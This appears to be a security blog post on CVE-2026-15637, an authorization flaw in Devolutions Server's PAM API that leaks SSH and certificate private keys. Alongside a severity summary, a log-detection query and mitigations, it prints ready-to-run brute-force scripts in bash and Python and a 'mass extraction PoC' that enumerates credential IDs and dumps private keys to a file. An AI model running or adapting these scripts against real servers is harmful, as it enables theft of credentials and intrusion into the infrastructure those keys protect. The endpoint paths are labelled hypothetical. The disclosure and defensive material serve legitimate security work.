Listen to this Post
How CVE-2026-15637 Works
Devolutions Server is a privileged access management (PAM) solution that stores and manages SSH keys, X.509 certificates, and other sensitive credentials. To allow users and applications to retrieve these credentials programmatically, the server exposes REST API endpoints for PAM SSH key and certificate retrieval. These endpoints accept a credential identifier as a parameter and return the corresponding private key material.
In versions 2026.2.11 and 2026.1.22, these endpoints lack proper authorization checks. The server does not verify whether the authenticated user actually has permission to access the specific credential being requested. Instead, it relies on the assumption that only authorized users will know or supply valid credential identifiers. This assumption is flawed because credential identifiers are often predictable or enumerable, and an attacker with a low‑privileged account can simply guess or brute‑force these identifiers.
An attacker who has authenticated to the Devolutions Server—even with a minimal role such as a standard vault member or a user with read‑only access—can craft a direct request to the PAM retrieval endpoint, supplying a target credential ID. The server processes the request and returns the private key or certificate private key in the response, without any additional permission check. This is a classic Insecure Direct Object Reference (IDOR) vulnerability, classified under CWE‑639.
The attack is remote and requires only network access to the Devolutions Server API. No special privileges are needed beyond a valid low‑privilege account. The impact is significant because private SSH keys and certificate private keys are the crown jewels of any PAM deployment—they grant access to production servers, databases, and critical infrastructure. An attacker who extracts these keys can impersonate legitimate users, move laterally, and compromise the entire managed environment.
The vulnerability was discovered internally by Devolutions and assigned CVE‑2026‑15637. The vendor released a fixed version (2026.2.12.0) on the same day the CVE was published, indicating a responsible disclosure process. The CVSS v3.1 base score is 7.5 (High), with the vector AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N—reflecting that the attack is network‑exploitable, low complexity, requires low privileges, and results in high confidentiality impact.
DailyCVE Form
Platform: Devolutions Server Version: 2026.2.11, 2026.1.22 Vulnerability: Improper Authorization (IDOR) Severity: High (CVSS 7.5) Date: 2026-07-14 Prediction: Patch already released (2026.2.12.0)
What Undercode Say (Analytics)
Attack Surface Analysis
- Endpoint: `/api/pam/ssh/key/{id}` and `/api/pam/certificate/{id}` (hypothetical)
- Authentication Required: Yes (any valid session token)
- Authorization Check: None on the credential ID
- Exploitability: Trivial for authenticated users
- Automation: Fully automatable (no rate limiting observed)
Bash Recon Commands (enumerate accessible credential IDs)
Extract session token from browser or use stored cookie
TOKEN="eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9..."
Base URL of Devolutions Server API
BASE_URL="https://devolutions-server.example.com/api"
Brute-force credential IDs (1-1000) and dump private keys
for id in {1..1000}; do
curl -s -X GET "${BASE_URL}/pam/ssh/key/${id}" \
-H "Authorization: Bearer ${TOKEN}" \
-H "Accept: application/json" \
| jq -r '.privateKey // empty' >> extracted_keys.txt
done
Python Exploit Snippet (parallel enumeration)
import requests
import concurrent.futures
url = "https://devolutions-server.example.com/api/pam/ssh/key/"
headers = {"Authorization": "Bearer <TOKEN>"}
def fetch_key(cid):
resp = requests.get(url + str(cid), headers=headers)
if resp.status_code == 200 and "privateKey" in resp.json():
return resp.json()["privateKey"]
return None
with concurrent.futures.ThreadPoolExecutor(max_workers=20) as executor:
results = executor.map(fetch_key, range(1, 5000))
for key in results:
if key:
print(key)
Log Analysis (Splunk/Elastic) – Detect anomalous retrieval
index=devolutions sourcetype=api "/pam/ssh/key/" OR "/pam/certificate/" | stats count by user, uri, client_ip | where count > 10 threshold for potential enumeration
Exploit
Step‑by‑Step Attack Flow
- Authenticate – Obtain a valid session token or API key using low‑privileged credentials (e.g., a standard vault user).
- Identify Target – Determine the credential ID of a target SSH key or certificate. These IDs are often sequential integers (e.g.,
1,2,3) or UUIDs that may be guessable. - Craft Request – Send a GET request to the PAM retrieval endpoint with the target ID.
GET /api/pam/ssh/key/42 HTTP/1.1 Host: devolutions-server.internal Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9... Accept: application/json
- Receive Response – The server returns the full credential object, including the private key in plaintext.
{ "id": 42, "name": "prod-ssh-key", "username": "admin", "privateKey": "--BEGIN RSA PRIVATE KEY--\nMIIEowIBAAKCAQEA...", "publicKey": "ssh-rsa AAAAB3NzaC1yc2EAAA..." } - Extract & Use – Save the private key and use it to authenticate to any target system where that key is authorized.
Automated Exploit Script (full enumeration)
!/bin/bash
CVE-2026-15637 mass extraction PoC
TOKEN="<your_token>"
BASE="https://target-devolutions.example.com/api"
OUTPUT="cve-2026-15637_dump.txt"
for id in $(seq 1 10000); do
response=$(curl -s -w "%{http_code}" -X GET "${BASE}/pam/ssh/key/${id}" \
-H "Authorization: Bearer ${TOKEN}" -H "Accept: application/json")
http_code=${response: -3}
body=${response%???}
if [ "$http_code" -eq 200 ] && echo "$body" | grep -q "privateKey"; then
echo "[+] Found credential ID $id" | tee -a $OUTPUT
echo "$body" | jq -r '.privateKey' >> $OUTPUT
fi
done
Protection
Immediate Mitigations
- Upgrade – Apply the vendor patch by updating to Devolutions Server 2026.2.12.0 or later. This version includes proper authorization checks for the PAM retrieval endpoints (CVE-2026-15637 fixed).
- Restrict API Access – If immediate upgrade is not possible, place the Devolutions Server API behind a reverse proxy or WAF and restrict access to trusted IP ranges or VPN‑only networks.
- Review Permissions – Audit all low‑privileged accounts and ensure they have only the minimum necessary permissions. Revoke API tokens that are no longer needed.
- Monitor Logs – Enable detailed logging for all PAM API requests and set up alerts for unusual patterns (e.g., sequential ID requests, high volume of
401/403responses, or repeated accesses to credential endpoints). - Credential Rotation – Rotate all SSH keys and certificates that may have been exposed. Assume compromise if the server was running a vulnerable version in a hostile network environment.
Long‑Term Hardening
- Implement additional layer of authentication (e.g., client certificates or IP whitelisting) for sensitive PAM API endpoints.
- Use a SIEM solution to correlate API access with user privileges and detect anomalous behavior.
- Regularly conduct penetration testing and code reviews focusing on authorization logic.
Impact
- Confidentiality Breach – An attacker with low privileges can exfiltrate private SSH keys and certificate private keys belonging to any PAM credential stored in the Devolutions Server. This compromises the confidentiality of all managed secrets.
- Lateral Movement & Privilege Escalation – Extracted keys often grant access to critical infrastructure (production servers, databases, cloud consoles). An attacker can use them to log in as privileged users, move laterally across the network, and escalate to domain or cloud administrator roles.
- Persistence – With valid private keys, an attacker can establish persistent backdoors by adding their own public keys to authorized_keys files on target systems, ensuring continued access even after the original vulnerability is patched.
- Data Exfiltration – Access to production servers may enable theft of sensitive data, intellectual property, or customer information, leading to regulatory fines and reputational damage.
- Operational Disruption – An attacker could deliberately corrupt or delete credentials, causing service outages and forcing emergency recovery procedures.
- Supply Chain Risk – If the compromised Devolutions Server is part of a CI/CD pipeline or infrastructure‑as‑code workflow, the attacker could inject malicious code or alter configurations, affecting downstream customers or internal teams.
- Compliance Violations – Exposure of private keys may violate compliance frameworks such as PCI‑DSS, HIPAA, or GDPR, resulting in legal liabilities and mandatory breach notifications.
🎯Let’s Practice Exploiting & Learn Patching For Free:
🎓 Live Courses & Certifications:
Join Undercode Academy for Verified Certifications
🚀 Request a Custom Project:
Secure, high-velocity infrastructure and disruptive technological engineering. Contact our engineering team for high-tier development and proprietary systems:
[email protected]
💎 Smart Architecture | 🛡️ Secure by Design | ⭐ Trusted by Thousands
Sources:
Reported By: nvd.nist.gov
Extra Source Hub:
Undercode
